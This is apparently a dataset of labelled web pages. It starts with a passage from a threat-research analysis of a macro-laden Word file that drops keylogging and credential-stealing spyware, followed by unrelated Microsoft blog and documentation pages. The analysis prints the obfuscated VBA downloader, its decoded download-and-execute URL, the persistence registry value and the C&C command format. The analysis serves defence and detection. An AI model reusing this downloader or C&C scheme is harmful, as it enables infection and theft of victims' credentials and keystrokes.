version}\\Word\\Security\\,AccessVBOM, dword, 1 HKCU\\Software\\Microsoft\\Office\\{word version}\\Word\\Security\\,VBAWarning, dword, 1 Figure 2. Writing two key values into the system registry Once that task is completed, it re-opens this Word document in a new Word program instance and exits. The Macro is executed again, but this time it follows a different code branch. The main purpose of the Macro executed in the new Word program instance is to dynamically extract a new VBA function (ljRIpdKkSmQPMbnLdh) and get it called. Let\xe2\x80\x99s take a look at this function: Sub ljRIpdKkSmQPMbnLdh() Dim dmvAQJch As String Dim JWyaIoTHtZaFG As String Dim TrbaApjsFydVkOGwjnzkpOB As String dmvAQJch = CreateObject(ThisDocument.bQYHDG(""66627281787F833D6277747B7B"", 15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG(""3463747C7F34"", 15)) JWyaIoTHtZaFG = ThisDocument.bQYHDG(""6B"", 15) TrbaApjsFydVkOGwjnzkpOB = ThisDocument.bQYHDG(""797085823D748774"", 15) dmvAQJch = dmvAQJch + JWyaIoTHtZaFG + TrbaApjsFydVkOGwjnzkpOB Dim cllbWRRTqqWoZebEpYdGmnPBLAx As String cllbWRRTqqWoZebEpYdGmnPBLAx = ThisDocument.bQYHDG(""7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774"", 15) Dim OhYBGFWMcPWNnpvvuTeitVAK As Object Set OhYBGFWMcPWNnpvvuTeitVAK = CreateObject(ThisDocument.bQYHDG(""5C7872817E827E75833D675C5B5763635F"", 15)) OhYBGFWMcPWNnpvvuTeitVAK.Open ThisDocument.bQYHDG(""565463"", 15), cllbWRRTqqWoZebEpYdGmnPBLAx, False OhYBGFWMcPWNnpvvuTeitVAK.send If OhYBGFWMcPWNnpvvuTeitVAK.Status = 200 Then Dim BIPvJqwtceisuIuipCzbpsWRuhRwp As Object Set BIPvJqwtceisuIuipCzbpsWRuhRwp = CreateObject(ThisDocument.bQYHDG(""50535E53513D62838174707C"", 15)) BIPvJqwtceisuIuipCzbpsWRuhRwp.Open BIPvJqwtceisuIuipCzbpsWRuhRwp.Type = 1 BIPvJqwtceisuIuipCzbpsWRuhRwp.Write OhYBGFWMcPWNnpvvuTeitVAK.responseBody BIPvJqwtceisuIuipCzbpsWRuhRwp.SaveToFile dmvAQJch, 2 BIPvJqwtceisuIuipCzbpsWRuhRwp.Close End If If Len(Dir(dmvAQJch)) <> 0 Then Dim TGoCeWgrszAukk TGoCeWgrszAukk = Shell(dmvAQJch, 0) End If End Sub All key words in this function are encoded. Here they are after decoding: bQYHDG(""66627281787F833D6277747B7B"", 15) => \xe2\x80\x9cWScript.Shell\xe2\x80\x9d bQYHDG(""3463747C7F34"", 15) => \xe2\x80\x9c%Temp%\xe2\x80\x9d bQYHDG(""797085823D748774"", 15) => \xe2\x80\x9cjavs.exe\xe2\x80\x9d bQYHDG(""7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774"", 15) => \xe2\x80\x9chxxp://45.77.35.239/1/today.exe\xe2\x80\x9d bQYHDG(""5C7872817E827E75833D675C5B5763635F"", 15) => \xe2\x80\x9cMicrosoft.XMLHTTP\xe2\x80\x9d bQYHDG(""565463"", 15) => \xe2\x80\x9cGet\xe2\x80\x9d As you may have realized from the highlighted keywords, this malware is designed to download an executable file and run it by calling the \xe2\x80\x9cShell\xe2\x80\x9d function. Indeed, it downloads the file \xe2\x80\x9ctoday.exe\xe2\x80\x9d to \xe2\x80\x9c%Temp%\\javs.exe\xe2\x80\x9d, and runs it. The downloaded exe file Figure 3. Detailed information of the downloaded javs.exe file From the analysis result of the PE analysis tool in Figure 3, we know that the downloaded \xe2\x80\x9cjavs.exe\xe2\x80\x9d was built\xc2 with\xc2 .Net Framework. Looking at its icon, it is easy to assume that this is a pdf related file. But it\xe2\x80\x99s not. This is simply a deception used to confuse the victim. Once executed, it starts another process by calling the function CreateProcessA with the CREATE_SUSPENDED flag. This procedure could allow the memory of the second process to be modified by calling the function WriteProcessMemory. Finally, the process is restored to run by calling the functions SetThreadContext and ResumeThread. Figure 4, below, shows how CreateProcessA is called. Figure 4. javs.exe calls CreateProcessA Through my analysis, I was able to determine that the data being injected into the second process by calling WriteProcessMemory is another executable file. This file was decoded from a BMP resource in the first javs.exe process. Interestingly, the injected executable was also built with .Net framework. As you may know, the .Net program only contains complied bytecode. This code can only be parsed and executed in its .Net CLR virtual machine. As a result, debugging a .Net program using the usual Ollydbg or Windbg tools is a challenge. So I had to determine which other analysis tools would work. Analysis of the second .Net program From the above analysis, I was able to determine that the second .Net program had been dynamically decoded from the javs.exe process memory. So the next challenge was capturing its entire data and saving it as an exe file for analysis. To do that, I used the memory tool to dump it directly from the second process memory. Figure 5 shows what the dumped file looks like in the analysis tool. Figure 5. Dumped memory file in analysis tool The \xe2\x80\x9cFile is corrupted\xe2\x80\x9d warning obviously occurs because the dumped file\xe2\x80\x99s PE header was wrong. I manually repaired the PE header using a sort of unpacking technique.\xc2 After that, the dumped file could be recognized, statically analyzed, and debugged. In Figure 6 below, you can see the repaired file was recognized as a .Net assembly, and you even can see .NET Directory information in CFF Explorer. Figure 6. Repaired dump file in analysis tool The author of the malware used some anti-analysis techniques to prevent it from being analyzed.\xc2 For example, obfuscation is used to make the function names and variable names difficult to understand, and encoding is used to hide key words and data so analysts have a hard time understanding what it is trying to do. The repaired .Net program even causes the static analysis tool .NET Reflector to not work because the names of classes, functions, and variables are unreadable. From Figure 7 below, you can see what the code looks like using these techniques. Figure 7. The Main function with anti-analysis techniques To better analyze the malware, I tried to rename parts of the unreadable names. So please note that in the following analysis the unreadable names in the referred code have been renamed to readable names. Ok, at this point we are finally ready to do the analysis.\xc2 Let\xe2\x80\x99s get started to see what is going to happen. Analysis of the .Net malware Once executed, it goes through the current running processes to kill any duplicate processes found. It then sends \xe2\x80\x9cuninstall\xe2\x80\x9d and \xe2\x80\x9cupdate\xe2\x80\x9d commands to the C&C server. If the response to the \xe2\x80\x9cuninstall\xe2\x80\x9d command from the server contains an \xe2\x80\x9cuninstall\xe2\x80\x9d string, it cleans up the information it has written on the victim\xe2\x80\x99s machine and exits. When I ran the malware, no \xe2\x80\x9cuninstall\xe2\x80\x9d string was contained in the response, so I could proceed with the analysis. The following two Figures show you how the \xe2\x80\x9cupdate\xe2\x80\x9d command is sent to the C&C server. Figure 8. Sending \xe2\x80\x9cupdate\xe2\x80\x9d command to C&C server Figure 9. Function used to send data to the C&C server From Figure 9, we learn that the URL of the C&C server is \xe2\x80\x9chxxp://www.vacanzaimmobiliare.it/testla/WebPanel/post.php\xe2\x80\x9d, which was decrypted in the \xe2\x80\x9cSendToCCServer\xe2\x80\x9d function. The HTTP method is \xe2\x80\x9cPOST\xe2\x80\x9d, which was also decrypted. Next, it copies itself from \xe2\x80\x9c%temp%\\javs.exe\xe2\x80\x9d to \xe2\x80\x9c%appdata%\\Java\\JavaUpdtr.exe\xe2\x80\x9d. In this way it disguises itself by looking like an update program for Java. It then writes the full path into the value ""Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load"" in the system registry so that \xe2\x80\x9cJavaUpdtr.exe\xe2\x80\x9d can be executed automatically when the system starts. The code snippet below shows us how the full path to \xe2\x80\x9cJavaUpdtr.exe\xe2\x80\x9d is defined. private static string appdata_Java_JavaUpdtr.exe = Environment.GetEnvironmentVariable(""appdata"") + ""\\\\Java\\\\JavaUpdtr.exe""; This malware can record the victim\xe2\x80\x99s keyboard inputs, steal data from the system clipboard when its content changes, capture screenshots of the victim\xe2\x80\x99s system screen, and collect credentials from installed software that the malware is interested in. To complete these tasks, it creates a variety of threads and timers. In the following sections I\xe2\x80\x99ll discuss them in detail. Stealing keyboard inputs, system clipboard contents, and screen shots Before the Main function is called, three hook objects are defined in the construction function of the main class. These are used for hooking the Keyboard, Mouse, and Clipboard.\xc2 It then sets hook functions for all of them so that when victim inputs something by keyboard, or when the clipboard data is changed (Ctrl+C), the hook functions will be called first. Figure 10 shows part of the hook function of the key down event. Figure 10. Key \xe2\x80\x9cdown\xe2\x80\x9d event hook function In this function, it first grabs the Window title where the victim types in and puts it into an html code. Next, it captures which key the victim presses, and converts the key code string into an html code. For example, \xe2\x80\x9c"". As you can see, the html code is concatenated to the variable \xe2\x80\x9cpri_string_saveAllStolenKey_Clipboard_Data\xe2\x80\x9d. Note: I modified the name to be readable. In the hook function for the system clipboard, it goes through a similar process. It captures the clipboard content every time the clipboard content is changed (e.g press Ctrl+C , Ctrl+X, etc.) by calling the function Clipboard.GetText(). It then puts the collected data into an html code, and again concatenates it to the variable \xe2\x80\x9cpri_string_saveAllStolenKey_Clipboard_Data\xe2\x80\x9d. Figure 11 is the code snippet of this function. Figure 11. Clipboard change event hook function It also creates a timer whose function is called every 10 minutes.\xc2 In the timer function, it captures screenshots of the victim\xe2\x80\x99s screen and then uses the API \xe2\x80\x9cGraphics::CopyFromScreen\xe2\x80\x9d to grab the screenshots and saves them into the file \xe2\x80\x9c%appdata%\\ScreenShot\\screen.jpeg\xe2\x80\x9d. It later encodes the file screen.jpeg with base64 and then sends it to its C&C server using the command \xe2\x80\x9cscreenshots\xe2\x80\x9d. It keeps taking screenshots every 10 minutes and sends them to the C&C server so the malware author can see what the victim is doing. Figure 12 shows the malware sending out a screen.jpeg file by calling the sending function. Figure 12. Sending out a screenshot file Stealing the credentials of installed software At the end of the Main function, it creates another thread whose function is to collect credentials from a variety of software on the victim\xe2\x80\x99s machine. It can collect user credentials from the system registry, local profile files, SQLite database files, and so on. Once it has captured the credentials of one the software packages it is looking for, it immediately sends it to the C&C server. One HTTP packet contains the credentials of one software package. Based on my analysis, this malware is able to obtain the credentials from the following software. Browser clients: Google Chrome, Mozilla \xc2 Firefox, Opera, Yandex, Microsoft IE, Apple Safari, SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch Browser. Email clients: Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail, PocoMail, Eudora, TheBat!. FTP clients: FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander. Dynamic DNS: DynDNS, No-IP. Video chatting: Paltalk, Pidgin. Download management: Internet Download Manager, JDownloader. In my test environment, I installed Microsoft Office Outlook with a Gmail account. Figure 13 shows what Outlook data is sent to the C&C server. Figure 13. Sending the captured credentials of Microsoft Office Outlook C&C command format Below is the C&C command format string. ""type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}&wbscreen={7}&client={8}&link={9}&username={10}&password={11}&screen_name={12}"" Next, I will explain the meaning of each field. \xc2 ""type"" holds the command name; ""hwid"" is the hardware id; ""time"" is the current date and time; ""pcname"" consists of the user name and computer name; ""logdata"" consists of key log and clipboard data; ""screen"" is base64 encoded screen.jpeg file content; ""ipadd"" is not used; ""wbscreen"" consists of picture content from the camera; ""client"" is the name of the software; ""link"" is the software\xe2\x80\x99s website; ""username"" is the logon user name; ""password"" is the logon password; ""screen_name"" is not used . In the table below, all the C&C commands (type field) that the malware supports are listed. Command Comment uninstall Ask the server if exit itself update Send the server updates of victim\xe2\x80\x99s device info Send the server victim\xe2\x80\x99s system information webcam Send image files from victim\xe2\x80\x99s camera if have screenshots Send screenshot of victim\xe2\x80\x99s screen keylog Send the server recorded key inputs and clipboard data passwords Send collected credentials from some software Other features Through my analysis I was able to determine that this is a spyware designed to collects a victim\xe2\x80\x99s system information, and continually record the victim\xe2\x80\x99s keyboard inputs, changes to the system clipboard, as well as capture the credentials of a number of popular software tools.\xc2 Finally, it sends all the collected data to its C&C server. However, by carefully going through the decompiled *.cs files, I was able to discover some additional features built into this malware that are not currently used. They include: Using the SMTP protocol to communicate with the server instead of HTTP. Obtaining system hardware information, including processor, memory, and video card. Enabling the collection of images from victim\xe2\x80\x99s camera. Restarting the system after adding \xe2\x80\x9cJavaUptr.exe\xe2\x80\x9d to the startup group in the system registry. Killing any running analysis processes, AV software, or Keylogger software, etc. There is the possibility that these features will be used in future versions. Solution The Word sample is detected as \xe2\x80\x9cWM/Agent.DJO!tr.dldr\xe2\x80\x9d, and Javs.exe has been detected as \xe2\x80\x9cMSIL/Generic.AP.EA826!tr\xe2\x80\x9d by FortiGuard AntiVirus service. The URL of the C&C server has been detected as \xe2\x80\x9cMalicious Websites\xe2\x80\x9d by FortiGuard WebFilter service. IoC: URL: 45.77.35.239/1/today.exe www.vacanzaimmobiliare.it/testla/WebPanel/post.php Sample SHA256: Yachtworld Invoice Outstanding.doc 1A713E4DDD8B1A6117C10AFE0C45496DFB61154BFF79A6DEE0A9FFB0518F33D3 Javs.exe 5D4E22BE32DCE5474B61E0DF305861F2C07B10DDADBC2DC937481C7D2B736C81 Tags: MSFT, malware, vulnerability, office, microsoft, visual basic, macros, vba Related Posts Threat Research Microsoft Word File Spreads Malware Targeting Both Apple Mac OS X and Microsoft Windows Threat Research Microsoft Excel Files Increasingly Used To Spread Malware Threat Research IRS Notification? No, It is a Scam News & Articles News Releases News Articles Trademarks Security Research Threat Research FortiGuard Labs Threat Map Threat Briefs Ransomware Connect With Us Blog Fuse Company About Us Why Fortinet Security Fabric Exec Mgmt Careers Certifications Events Industry Awards Contact Us (866) 868-3678 Copyright \xc2\xa9 2019 Fortinet, Inc. All Rights Reserved Terms of Services Privacy Policy","1","0","0","0","0","0","1","0","1","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Core Infrastructure and Security Blog - Microsoft Tech Community Microsoft Microsoft Microsoft Tech Community Sign In Sign In cancel Turn on suggestions Auto-suggest helps you quickly narrow down your search results by suggesting possible matches as you type. Showing results for\xc2 Search instead for\xc2 Did you mean:\xc2 \xee \x8f Home \xee\x9d\xb4 Communities \xee\xa2\xbf Events Events Home Microsoft Build Microsoft Ignite The Tour Microsoft Ignite Community Events \xee\x84\xaa Blogs Microsoft Learn Azure Dynamics 365 Microsoft 365 Power Platform \xee\xa5\x86 Info Center 394K Members 7,073 Online 427K Conversations Home : Core Infrastructure and Security : Core Infrastructure and Security Blog cancel Turn on suggestions Auto-suggest helps you quickly narrow down your search results by suggesting possible matches as you type. Showing results for\xc2 Search instead for\xc2 Did you mean:\xc2 Core Infrastructure and Security Blog Filter by label Active Directory adfs Administrators ad sites Announcements auditing Azure Azure Active Directory Azure AD Best Practices BrandonWilson career central store charity shelbourne ChuckTimon configuration DanCuomo dan cuomo david gregory Deployment Disaster Recovery DNS domaindns doug gabbard doug symalla DSC event viewer failover cluster graeme bray greg jaworski Group Policy hyper v ipv6 jake mowrer jeff stokes joao botto kerberos kms kyle blagg lab lakshman hariharan MAD mailbag management pack mark morowczynski martin lucas message analyzer michael hildebrand mike kline monitor NathanPenn Networking O365 opsmgr paul bergson Performance PowerShell proudmicrosoftemployee ray zabilla real world Report rick sasser sbsl SCCM scom Security server 2003 server 2008 Server 2008 R2 server 2012 server 2012 r2 StanislavBelov storage spaces subnets Surface System Center System Center Operations Manager tom moser Troubleshooting Upgrade virtualization Windows windows 10 windows 2008 r2 Windows 7 windows 8 windows 8 1 Windows Server windows server 2003 windows server 2008 windows server 2008 r2 windows server 2012 windows server 2012 r2 Windows server 2016 Windows Update windows vista winsxs wpa wpr xperf Copied! RSS \xc2 \xc2 Follow Home Home : Core Infrastructure and Security : Core Infrastructure and Security Blog Options Mark all as New Mark all as Read Pin this item to the top Subscribe Bookmark Subscribe to RSS Feed Invite a Friend 1,213 Tips on PowerShell Modules for Managing Stale Devices Alan La Pietra on 09-12-2019 12:00 AM Tips on how to install the correct PS module in order to use the required cmdlets for Stale Device Management 695 One Method to Track Devices Built via a Specific SCCM Task Sequence DeepikaVR on 09-11-2019 08:07 PM Hello All, my name is Deepika and I\xe2\x80\x99m a Premier Field Engineer with Microsoft India. I would like to share one of the me... 2,045 Update Compliance on Co-Managed Devices Arnab Mitra on 09-05-2019 07:19 AM Organizations today are looking for an integrated endpoint management platform which can ensure all devices whether owne... 2,173 Infrastructure + Security: Noteworthy News (August, 2019) BrandonWilson on 08-29-2019 09:24 AM Hi there! Stanislav Belov here, and you are reading the next issue of the Infrastructure + Security: Noteworthy News ser... 2,828 The Adventure Continues \xe2\x80\xa6 Azure AD Self-Service Password Reset (SSPR) with AD Writeback Michael Hildebrand on 08-19-2019 06:30 AM Here comes the 3rd post in my Modern Mobility series. This one covers Self-Service Password Reset (SSPR) with password w... 2,633 Infrastructure + Security: Noteworthy News (July, 2019) BrandonWilson on 08-08-2019 06:33 AM Hi there! Stanislav Belov here, and you are reading the next issue of the Infrastructure + Security: Noteworthy News ser... 2,311 AAD Dynamic Groups, Controlled MFA Registration, Intune + Admin Templates and AIP Log Analytics Michael Hildebrand on 08-05-2019 03:00 AM Today, I offer up to you a brief review of a handful of new or lesser-known EMS E3 gems... 3,013 The Mysterious Case of the $ (a.k.a. Dollar Sign) Character in Hybrid Azure AD Joined Devices Jorge Lopez on 07-22-2019 01:06 PM Hi Everyone, Jorge Lopez here. I\xe2\x80\x99m a Hybrid Identity Premier Field Engineer at Microsoft. Today I\xe2\x80\x99ll be sharing with you... 3,005 The Adventure Continues \xe2\x80\xa6 Custom Branding in Azure AD and other Microsoft 365 Services Michael Hildebrand on 07-19-2019 04:17 AM Tight integration across M365 services allows IT to easily customize the look/feel of many cloud experiences, such as si... 1,973 Failed Login Report Using Log Analytics and Logic Apps BrandonWilson on 07-09-2019 07:35 AM My name is Brad Watts and I\xe2\x80\x99m a SCOM PFE. I wanted to take a little bit of time to demonstrate how you can use Azure Log... 4,041 Infrastructure + Security: Noteworthy News (June, 2019) BrandonWilson on 06-28-2019 11:33 AM Hi there! Stanislav Belov here, and you are reading the next issue of the Infrastructure + Security: Noteworthy News ser... 1,424 SCCM: COLLECTION DASHBOARD REPORT Matt Balzan on 06-21-2019 03:54 PM First published on TECHNET on Mar 04, 2019 Hello! My name is Matt Balzan and I am a PFE with the Windows and Devices tea... 995 INTUNE: REPORT ALL DEVICES THAT ARE NON-COMPLIANT BECAUSE THEY ARE INACTIVE Anil Abraham on 06-21-2019 03:53 PM First published on TECHNET on Feb 23, 2019 It\xe2\x80\x99s me Anil Abraham again with a quick blog. 904 Office 365 ProPlus - How To: Add previously excluded components Nandan Sheth on 06-21-2019 03:51 PM First published on TECHNET on Feb 08, 2019 If you have installed a Office 365 ProPlus with a custom XML file with exclud... 1,099 Say No to Long Term Servicing Channel (LTSC) Greg Nottage on 06-21-2019 03:51 PM First published on TECHNET on Jun 11, 2018 Hello, my name is Greg Nottage and I am a Consultant with the Windows and Dev... 1,172 Deploy Custom GPO via Microsoft Intune Anil Abraham on 06-21-2019 03:50 PM First published on TECHNET on May 30, 2018 Hello! My name is Anil Abraham, and I am a Senior PFE with the Windows and De... 745 Azure Cost Optimisation Series - Enable Hybrid Use Benefit (HUB) Using PowerShell Neil_Bird on 06-21-2019 03:49 PM First published on TECHNET on Mar 07, 2018 Hello all, My name is Neil Bird, I am a Premier Field Engineer (PFE) in the U... 716 Azure Cost Optimisation Series - Identify Orphaned Disks Using PowerShell Neil_Bird on 06-21-2019 03:49 PM First published on TECHNET on Feb 21, 2018 Hello all, Neil Bird here again, I am a Premier Field Engineer (PFE) in the U... 891 Awesomeness Made Easy With PowerBI Dave_Coles on 06-21-2019 03:48 PM First published on TECHNET on Dec 12, 2017 Hi all,My name is Dave Coles and I'm a Senior Premier Field Engineer based in... 798 Azure Resource Manager (ARM) - Automate Installation of VM Extensions using PowerShell and JSON Neil_Bird on 06-21-2019 03:47 PM First published on TECHNET on Jul 31, 2017 Hello all Neil Bird here from the Cloud & Infrastructure team in the UK. 786 Getting Started with Windows 10 Device Guard - Create Code Integrity Signing Certificate Debs_8126 on 06-21-2019 03:47 PM First published on TECHNET on May 04, 2017 Back to Getting Started with Windows 10 Device Guard \xe2\x80\x93 Part 2 of 2 contentsGe... 876 Free Stuff! Free Azure credit! Neil_Bird on 06-21-2019 03:44 PM First published on TECHNET on Mar 22, 2017 Hi everyone, Paul here again. 648 Upgrade Readiness Client Configuration Nandan Sheth on 06-21-2019 03:41 PM First published on TECHNET on Mar 13, 2017 Hello, again! I am back and this time, we will look at how to start data coll... 576 Getting Started with Upgrade Readiness Nandan Sheth on 06-21-2019 03:40 PM First published on TECHNET on Mar 03, 2017 Hello again. 513 Introduction to Upgrade Readiness and Application Compatibility with Windows 10 Nandan Sheth on 06-21-2019 03:38 PM First published on TECHNET on Feb 24, 2017 Hello! My name is Nandan, I am a Premier Field Engineer in the Windows Platfo... 487 PPKGs Part 2 - Testing and deploying provisioning packages for Windows 10 1607 Neil_Bird on 06-21-2019 03:37 PM First published on TECHNET on Feb 20, 2017 Hello again, is it really a week since I wrote Part 1?Without further ado, le... 521 PPKGs Part 1 - Creating Simple Windows 10 1607 Provisioning Packages Neil_Bird on 06-21-2019 03:35 PM First published on TECHNET on Feb 11, 2017 The world of IT is moving fast and it's only getting faster. 26.6K How to Use an Additional Computer as a Secondary Display Michael Kullish on 06-10-2019 12:36 PM Have you ever needed to use a second Windows device that you carry in your bag as a second monitor? If so, this is an ar... 2,149 Infrastructure + Security: Noteworthy News (May, 2019) BrandonWilson on 05-28-2019 06:22 AM Hi there! Stanislav Belov here, and you are reading the next issue of the Infrastructure + Security: Noteworthy News ser... 1,891 Software Update Dashboard by Collections BrandonWilson on 05-20-2019 08:44 AM Hello everyone, Matt Novitsch (SCCM Premier Field Engineer) here to talk to you about a Power BI Dashboard that I create... \xc2\xab Previous Next \xc2\xbb Latest Comments marcFarmer in Windows 10 (Build 1803) VDI Optimization Script Primer on 09-17-2019 Any Idea why since applying this Script Windows can\xc2\xb4t find a Internet Connection and also O365 Apps can\xc2\xb4t activate. Internet is available and working, but for some reasons it states that is doesnt have it.... 0 Likes Sadewal1 in AAD Dynamic Groups, Controlled MFA Registration, Intune + Admin Templates and AIP Log Analytics on 09-16-2019 AIP is really cool. Is there a way to get those logs in log analytics into a SIEM? Any thoughts on if that's possible? 0 Likes julgeb in Active Directory-Based Activation vs. Key Management Services on 09-16-2019 Bonjour,Peut-on installer le service ADBA dans un sous-domaine (par exemple subdomain1.maforet.local) d'une foret sans craindre ""d'effets ind\xc3\xa9sirables"" (activation inter-domaine par exemple) sur les autres domaines de la foret?(Serveur en 2019 - DC en 2012r2 - version du schema 2019)maforet.localsub... 0 Likes RamLan in One Method to Track Devices Built via a Specific SCCM Task Sequence on 09-16-2019 If we were to implement above steps for all the task sequence the compliance status will not work on past deployments. Any future deployments can be monitored for compliance. Right or Wrong??? 0 Likes DeepikaVR in One Method to Track Devices Built via a Specific SCCM Task Sequence on 09-12-2019 Hi, Thanks for bringing this up, I have modified the step 5 to use 'Run command line' instead of 'install package' [ the package is created without a program]. and of course we can use ps1 or just run command line step with these reg add commands directly in this TS step. 0 Likes Browse Popular Windows Dev Center Microsoft Azure Microsoft Visual Studio Office Dev Center asp.net IIS.net Learning Resources Channel 9 Windows Development Videos Microsoft Virtual Academy Programs App Developer Agreement Windows Insider Program Microsoft Affiliate Program BizSpark (for startups) Microsoft Imagine For IT Pros Microsoft Power BI Microsoft SQL Server Internet of Things Operations Management Suite Values Diversity and inclusion Accessibility Environment Microsoft Philanthropies Corporate Social Responsibility Privacy at Microsoft Company Careers About Microsoft Company news Investors Research Site map English (United States)\xe2\x80\x8e Contact us Privacy & cookies Terms of use Trademarks About our ads \xc2\xa9 2017 Microsoft","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Credential Security Service Provider and SSO for Terminal Services Logon | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Credential Security Service Provider and SSO for Terminal Services Logon 07/25/2008 2 minutes to read In this article Overview Authentication protocols are implemented in Windows by security service providers. Windows Vista introduces a new authentication package called the Credential Security Service Provider, or CredSSP, that provides a single sign-on (SSO) user experience when starting new Terminal Services sessions. CredSSP enables applications to delegate users' credentials from the client computer (by using the client-side security service provider) to the target server (through the server-side security service provider) based on client policies. CredSSP policies are configured via Group Policy, and delegation of credentials is turned off by default. Like the Kerberos authentication protocol, CredSSP can delegate credentials from the client to the server, but it does so by using a completely different mechanism and with different usability and security characteristics. With CredSSP, when policy specifies that credentials should be delegated, users will be prompted for credentials\xe2\x80\x94unlike Kerberos delegation\xe2\x80\x94which means the user has some control over whether the delegation should occur and (more importantly) what credentials should be used. With Kerberos delegation, only the user's Active Directory\xc2\xae credentials can be delegated. Unlike the experience in Windows Server\xc2\xae 2003 Terminal Server, the credential prompt is on the client computer and not the server. Most importantly, the client credential prompt is on the secure desktop. Therefore, not even the Terminal Services client can see the credentials, which is an important Common Criteria requirement. Furthermore, the credentials obtained from the prompt will not be delegated until the server identity is authenticated (subject to policy configuration). Finally, the terminal server will not establish a session for the user (which consumes a significant amount of memory and CPU processing time on the server) before authenticating the client, which decreases the chances of successful denial-of-service attacks on the server. Requirements This feature requires the Terminal Services client to run on Windows Vista or Windows Server 2008 and for Terminal Services to be hosted on a server that runs Windows Server 2008. Configuration CredSSP policies, and by extension the SSO functionality they provide to Terminal Services, are configured via Group Policy. Use the Local Group Policy Editor to navigate to Local Computer Policy\\Computer Configuration\\Administrative Templates\\System\\Credentials Delegation, and enable one or more of the policy options. Security considerations When credential delegation is enabled, the terminal server will receive the user credentials in plaintext form, which can introduce risk to the network environment if the servers are not well secured. An organization that wants to achieve this functionality should plan carefully for its deployment and ensure that an effective security program for the servers is in place beforehand. In addition, a few of the policy settings might increase or decrease the risk. For example, the Allow Default Credentials with NTLM-only Server Authentication and Allow Fresh Credentials with NTLM-only Server Authentication policy settings remove the restriction to require the Kerberos authentication protocol for authentication between the client and server. If a computer requires NTLM and either of these settings is selected, then NTLM will be used and will allow communication to occur successfully but at a higher security risk. The Kerberos protocol provides significant additional security in this scenario because it provides mutual authentication\xe2\x80\x94that is, positive authentication of the server to the client. This functionality is important because users should be protected from delegating their plaintext credentials to an attacker who might have taken control of a network session. Before enabling the NTLM-only policies, network administrators should first ensure that NTLM authentication is necessary in the scenario that they need to support. See Also Concepts Windows Vista Authentication Features Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents [MS-DRSR]: Directory Replication Service (DRS) Remote Protocol 2/14/2019 4 minutes to read In this article Specifies the Directory Replication Service (DRS) Remote Protocol, an RPC protocol for replication and management of data in Active Directory. This page and associated content may be updated frequently. We recommend you subscribe to the RSS feed to receive update notifications. Published Version Date Protocol Revision Revision Class Downloads 9/12/2018 40.0 Major PDF | DOCX | Diff Click here to download a zip file of all PDF files for Windows Protocols. Previous Versions Date Protocol Revision Revision Class Downloads 3/16/2018 39.0 Major PDF | DOCX | Diff 12/1/2017 38.0 Major PDF | DOCX | Diff 9/15/2017 37.0 Major PDF | DOCX | Errata | Diff 6/1/2017 36.0 Major PDF | DOCX | Errata | Diff 7/14/2016 35.0 Major PDF | DOCX | Diff 10/16/2015 34.0 None PDF | DOCX | Errata 6/30/2015 34.0 Major PDF | DOCX 5/15/2014 33.0 None PDF | DOCX 